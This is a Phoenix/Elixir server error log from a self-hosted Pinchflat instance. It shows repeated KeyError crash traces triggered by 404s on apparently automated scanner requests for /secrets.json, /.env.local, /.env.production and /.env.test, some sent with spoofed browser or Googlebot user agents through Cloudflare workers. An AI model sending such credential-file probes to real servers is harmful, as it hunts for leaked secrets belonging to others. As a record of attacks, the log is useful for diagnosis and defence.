#PID<0.3724.0> running PinchflatWeb.Endpoint (connection #PID<0.3710.0>, stream id 2) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: HEAD /secrets.json ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /secrets (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3710.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/secrets.json", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40246}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "sec-ch-ua" => "\"Google Chrome\";v=\"135\", \"Chromium\";v=\"135\", \"Not.A/Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Windows\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "tailscale-funnel-request" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 2, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3724.0>, params: %{}, path_info: ["secrets"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-US,en;q=0.9"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"referer", "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net"}, {"sec-ch-ua", "\"Google Chrome\";v=\"135\", \"Chromium\";v=\"135\", \"Not.A/Brand\";v=\"24\""}, {"sec-ch-ua-mobile", "?0"}, {"sec-ch-ua-platform", "\"Windows\""}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "none"}, {"sec-fetch-user", "?1"}, {"tailscale-funnel-request", "?1"}, {"upgrade-insecure-requests", "1"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36"}, {"x-forwarded-for", "34.139.141.56"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/secrets.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUnHDIvcsG1o0YAAWGB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3710.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/secrets.json", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40246}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "sec-ch-ua" => "\"Google Chrome\";v=\"135\", \"Chromium\";v=\"135\", \"Not.A/Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Windows\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "tailscale-funnel-request" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 2, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /secrets (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3710.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/secrets.json", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40246}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "sec-ch-ua" => "\"Google Chrome\";v=\"135\", \"Chromium\";v=\"135 (truncated) 02:50:31.564 [info] GET /.env.local 02:50:31.565 [info] GET /.env.production 02:50:31.565 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=838.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:31.565 [info] GET /.env.test 02:50:31.565 [debug] QUERY OK source="settings" db=0.5ms idle=839.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:31.565 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=839.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:31.566 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:50:31.566 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=839.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:31.566 [debug] QUERY OK source="settings" db=0.7ms queue=0.1ms idle=531.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:31.566 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:50:31.567 [debug] QUERY OK source="settings" db=0.6ms queue=0.4ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:31.567 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:50:31.566 [error] #PID<0.3725.0> running PinchflatWeb.Endpoint (connection #PID<0.3716.0>, stream id 2) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /.env.local ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3716.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.local", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40276}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200fdb998db1fbd-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "pcqb42a17bc6spko.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "sec-ch-ua" => "\"Google Chrome\";v=\"135\", \"Chromium\";v=\"135\", \"Not.A/Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"macOS\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36", "x-forwarded-for" => "172.71.30.220", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 2, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3725.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"accept-language", "en-US,en;q=0.9"}, {"cdn-loop", "cloudflare; loops=1"}, {"cf-ew-via", "15"}, {"cf-ray", "a200fdb998db1fbd-ATL"}, {"cf-visitor", "{\"scheme\":\"https\"}"}, {"cf-worker", "pcqb42a17bc6spko.workers.dev"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"referer", "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net"}, {"sec-ch-ua", "\"Google Chrome\";v=\"135\", \"Chromium\";v=\"135\", \"Not.A/Brand\";v=\"24\""}, {"sec-ch-ua-mobile", "?0"}, {"sec-ch-ua-platform", "\"macOS\""}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "none"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36"}, {"x-forwarded-for", "172.71.30.220"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.env.local", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUnHLSWanNd5DIAAWHB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3716.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.local", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40276}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200fdb998db1fbd-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "pcqb42a17bc6spko.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "sec-ch-ua" => "\"Google Chrome\";v=\"135\", \"Chromium\";v=\"135\", \"Not.A/Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"macOS\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36", "x-forwarded-for" => "172.71.30.220", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 2, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3716.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.local", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40276}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+ (truncated) 02:50:31.567 [error] #PID<0.3726.0> running PinchflatWeb.Endpoint (connection #PID<0.3711.0>, stream id 2) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /.env.production ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3711.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.production", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40258}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200fdb998e1267a-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "svvf5d357266aocs.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", "x-forwarded-for" => "104.22.24.76", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 2, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3726.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"accept-language", "en-US,en;q=0.9"}, {"cdn-loop", "cloudflare; loops=1"}, {"cf-ew-via", "15"}, {"cf-ray", "a200fdb998e1267a-ATL"}, {"cf-visitor", "{\"scheme\":\"https\"}"}, {"cf-worker", "svvf5d357266aocs.workers.dev"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"}, {"x-forwarded-for", "104.22.24.76"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.env.production", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUnHLScfBoFhMEAAWIB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3711.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.production", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40258}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200fdb998e1267a-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "svvf5d357266aocs.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", "x-forwarded-for" => "104.22.24.76", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 2, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3711.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.production", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40258}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200fdb998e1267a-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "svvf5d357266aocs.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", "x-forwarded-for" => "104.22.24.76", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 2, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3726.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], (truncated) 02:50:31.568 [error] #PID<0.3728.0> running PinchflatWeb.Endpoint (connection #PID<0.3727.0>, stream id 1) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /.env.test ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3727.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.test", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40306}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200fdb99dd87252-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "pcqb42a17bc6spko.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "sec-ch-ua" => "\"Google Chrome\";v=\"135\", \"Chromium\";v=\"135\", \"Not.A/Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Windows\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "tailscale-funnel-request" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36", "x-forwarded-for" => "104.23.245.109", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3728.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"accept-language", "en-US,en;q=0.9"}, {"cdn-loop", "cloudflare; loops=1"}, {"cf-ew-via", "15"}, {"cf-ray", "a200fdb99dd87252-ATL"}, {"cf-visitor", "{\"scheme\":\"https\"}"}, {"cf-worker", "pcqb42a17bc6spko.workers.dev"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"sec-ch-ua", "\"Google Chrome\";v=\"135\", \"Chromium\";v=\"135\", \"Not.A/Brand\";v=\"24\""}, {"sec-ch-ua-mobile", "?0"}, {"sec-ch-ua-platform", "\"Windows\""}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "none"}, {"sec-fetch-user", "?1"}, {"tailscale-funnel-request", "?1"}, {"upgrade-insecure-requests", "1"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36"}, {"x-forwarded-for", "104.23.245.109"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.env.test", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUnHLSl7-ugweoAAWJB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3727.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.test", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40306}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", 